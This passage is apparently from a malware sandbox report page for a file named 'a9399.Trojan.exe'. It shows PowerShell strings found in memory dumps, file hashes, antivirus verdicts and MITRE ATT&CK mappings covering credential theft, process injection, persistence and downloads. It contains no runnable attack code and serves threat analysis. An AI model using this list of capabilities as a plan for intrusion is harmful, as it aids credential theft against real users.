Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Service" (Indicator: "Get-Service"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Get-Unique" (Indicator: "Get-Unique"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Invoke-Item" (Indicator: "Invoke-Item"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")4d:T425,file/memory contains long string with (Indicator: "Remove-ItemProperty"; Source: "00000000-00003364.00000000.67158.03190000.00000004.mdmp") Found string "Remove-Module" (Indicator: "Remove-Module"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-Variable" (Indicator: "Remove-Variable"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-PSBreakpoint" (Indicator: "Remove-PSBreakpoint"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-PSDrive" (Indicator: "Remove-PSDrive"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-ItemProperty" (Indicator: "Remove-ItemProperty"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-PSSnapin" (Indicator: "Remove-PSSnapin"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Remove-WMIObject" (Indicator: "Remove-WmiObject"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")4e:T584,Found string "Set-Variable" (Indicator: "Set-Variable"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-StrictMode" (Indicator: "Set-StrictMode"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Enable-PSBreakpoint" (Indicator: "Enable-PSBreakpoint"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-PSBreakpoint" (Indicator: "Set-PSBreakpoint"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-Location $MyInvocation.MyCommand.Name" (Indicator: "Set-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-Location .." (Indicator: "Set-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-Location \" (Indicator: "Set-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-Alias" (Indicator: "Set-Alias"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-Location" (Indicator: "Set-Location"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Set-PSDebug" (Indicator: "Set-PSdebug"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp") Found string "Update-Help" (Indicator: "Update-Help"; Source: "00000000-00003364.00000000.67158.05250000.00000004.mdmp")4f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAABERERV3UXd3d3N3AAAAAAARERUVd1V3d3d3dwAAAAAAERERFXdVd3d3d3cAAAAAAAARERF3VXd3d3eIAAAAAAAAEREVd3d3d3d3iAAAAAAAABERFXdVd3d3d3cAAAAAAAARERF3VXd3d3eIAAAAAAABERUXd1V3d3d4iAAAAAAAARFVFXcxd3d3d4gAAAAAAAERN3N1cTd3d3iIAAAAAAB3czd3d3E3d3d3dwAAAAAAM3dXd3czF3d3d3cAAAAAABF3d3dxN3F3d3d3AAAAAAB3d3d3EREAF3EXiAAAAAAAMzd3dwB3cAAAA3cAAAAAABERd3cHcHcAAAMzAAAAAAAzERdxeIeHd1cBkwAAAAAAMxEXcXeHcHgHUZMAAAAAABERFXF3d3B3d3ERAAAAAAAAAQVxV3dwAAABEQAAAAAAeHUVcQAFVQAAAREAAAAAAHdxBXAAFVEREREAAAAAAAAREABwF3iHcZERAAAAAAAAAAAAcHd3h3eREQAAAAAAAAAABXd3d4d3kRERAAAAAAAAAVd3d3d3d1cRAAAAAAAAABEAdVd3d3dREQAAAAAAAAARAFFXd3d3UREBAAAAAABVUQBVV3eHd1EBAAAAAAAAAAEVd3d3d3dRERcAAAAAAAUAAHVXd3d3dwAAAAAAAAAAAABRd3d3cAAAAAAAD4AAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH8AAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAD/+AAP/w==50:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAABERERV3UXd3d3N3AAAAAAARERUVd1V3d3d3dwAAAAAAERERFXdVd3d3d3cAAAAAAAARERF3VXd3d3eIAAAAAAAAEREVd3d3d3d3iAAAAAAAABERFXdVd3d3d3cAAAAAAAARERF3VXd3d3eIAAAAAAABERUXd1V3d3d4iAAAAAAAARFVFXcxd3d3d4gAAAAAAAERN3N1cTd3d3iIAAAAAAB3czd3d3E3d3d3dwAAAAAAM3dXd3czF3d3d3cAAAAAABF3d3dxN3F3d3d3AAAAAAB3d3d3EREAF3EXiAAAAAAAMzd3dwB3cAAAA3cAAAAAABERd3cHcHcAAAMzAAAAAAAzERdxeIeHd1cBkwAAAAAAMxEXcXeHcHgHUZMAAAAAABERFXF3d3B3d3ERAAAAAAAAAQVxV3dwAAABEQAAAAAAeHUVcQAFVQAAAREAAAAAAHdxBXAAFVEREREAAAAAAAAREABwF3iHcZERAAAAAAAAAAAAcHd3h3eREQAAAAAAAAAABXd3d4d3kRERAAAAAAAAAVd3d3d3d1cRAAAAAAAAABEAdVd3d3dREQAAAAAAAAARAFFXd3d3UREBAAAAAABVUQBVV3eHd1EBAAAAAAAAAAEVd3d3d3dRERcAAAAAAAUAAHVXd3d3dwAAAAAAAAAAAABRd3d3cAAAAAAAD4AAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH8AAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAD/+AAP/w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790358195441,"unified_at":"2026-09-25T17:43:15.441Z","metadata":{"hashes":{"sha256":"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","sha1":"77a8dcb00a6b382b78d0be7f026d8a5a354aed49","md5":"fe5e6f3511282f64d0bb6d42ff126b25","sha512":"02b623acfeb15cbc2751a112bc31adb6912bdb76c5352415e82f90266a5c1ad454ff14bc8337a2691eb7d05a45806b42b5c2e6b55799c0c9df08758608d3ac1d","ssdeep":"98304:pyOTq8U9dDWWjdQrrbKLtKX5uTfOW/QuxwiWgIAvMsdM++:pyOTq8U9dDWWjd0rbcwXUCW/QuxwUkNb","ssdeep_chunks":["98304:pyOTq8U","98304:yOTq8U9","98304:OTq8U9d","98304:Tq8U9dD","98304:q8U9dDW","98304:8U9dDWW","98304:U9dDWWj","98304:9dDWWjd","98304:dDWWjdQ","98304:DWWjdQr","98304:WWjdQrr","98304:WjdQrrb","98304:jdQrrbK","98304:dQrrbKL","98304:QrrbKLt","98304:rrbKLtK","98304:rbKLtKX","98304:bKLtKX5","98304:KLtKX5u","98304:LtKX5uT","98304:tKX5uTf","98304:KX5uTfO","98304:X5uTfOW","98304:5uTfOW/","98304:uTfOW/Q","98304:TfOW/Qu","98304:fOW/Qux","98304:OW/Quxw","98304:W/Quxwi","98304:/QuxwiW","98304:QuxwiWg","98304:uxwiWgI","98304:xwiWgIA","98304:wiWgIAv","98304:iWgIAvM","98304:WgIAvMs","98304:gIAvMsd","98304:IAvMsdM","98304:AvMsdM+","98304:vMsdM++","196608:pyOTq8U","196608:yOTq8U9","196608:OTq8U9d","196608:Tq8U9dD","196608:q8U9dDW","196608:8U9dDWW","196608:U9dDWWj","196608:9dDWWjd","196608:dDWWjdQ","196608:DWWjdQr","196608:WWjdQrr","196608:WjdQrrb","196608:jdQrrbK","196608:dQrrbKL","196608:QrrbKLt","196608:rrbKLtK","196608:rbKLtKX","196608:bKLtKX5","196608:KLtKX5u","196608:LtKX5uT","196608:tKX5uTf","196608:KX5uTfO","196608:X5uTfOW","196608:5uTfOW/","196608:uTfOW/Q","196608:TfOW/Qu","196608:fOW/Qux","196608:OW/Quxw","196608:W/Quxwi","196608:/QuxwiW","196608:QuxwiWg","196608:uxwiWgI","196608:xwiWgIA","196608:wiWgIAv","196608:iWgIAvM","196608:WgIAvMs","196608:gIAvMsd","196608:IAvMsdM","196608:AvMsdM+","196608:vMsdM++","98304:dDWWjd0","98304:DWWjd0r","98304:WWjd0rb","98304:Wjd0rbc","98304:jd0rbcw","98304:d0rbcwX","98304:0rbcwXU","98304:rbcwXUC","98304:bcwXUCW","98304:cwXUCW/","98304:wXUCW/Q","98304:XUCW/Qu","98304:UCW/Qux","98304:CW/Quxw","98304:W/QuxwU","98304:/QuxwUk","98304:QuxwUkN","98304:uxwUkNb"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"54c4970ebdcc83606fc62b218c0cc7ade0766a9f"},"file_info":{"file_name":"a9399.Trojan.exe","file_type":["compressed","innosetup"],"file_type_id":"innosetup","file_size":5307256,"entropy":7.04,"compile_timestamp":"2071-09-03T12:25:33","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1707144631000,"last_seen":1788743053000,"last_multi_scan":1788743053000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"embedded_file_count":11,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":4981492,"raw_size":4981760},{"name":".rsrc","virtual_address":"0x4c4000","virtual_size":315676,"raw_size":315904},{"name":".reloc","virtual_address":"0x512000","virtual_size":12,"raw_size":512}],"section_names":[".text",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","badtrip","criminal","cryptocurrencytheft"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":101},"sandbox_signatures":{"informative_count":264,"suspicious_count":16,"malicious_count":11,"total":291},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Nymaim","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.105958","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.105958 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Stealer.du","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005b1d431 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.KLE.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Nymaim.Win32.13614","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Marsilia.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - Cryptographic algorithm using CryptoPP library"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES encryption"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Able to download remote files using web shell script"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"informative","value":"May contain SSL certificate"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Writes shellcode to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution 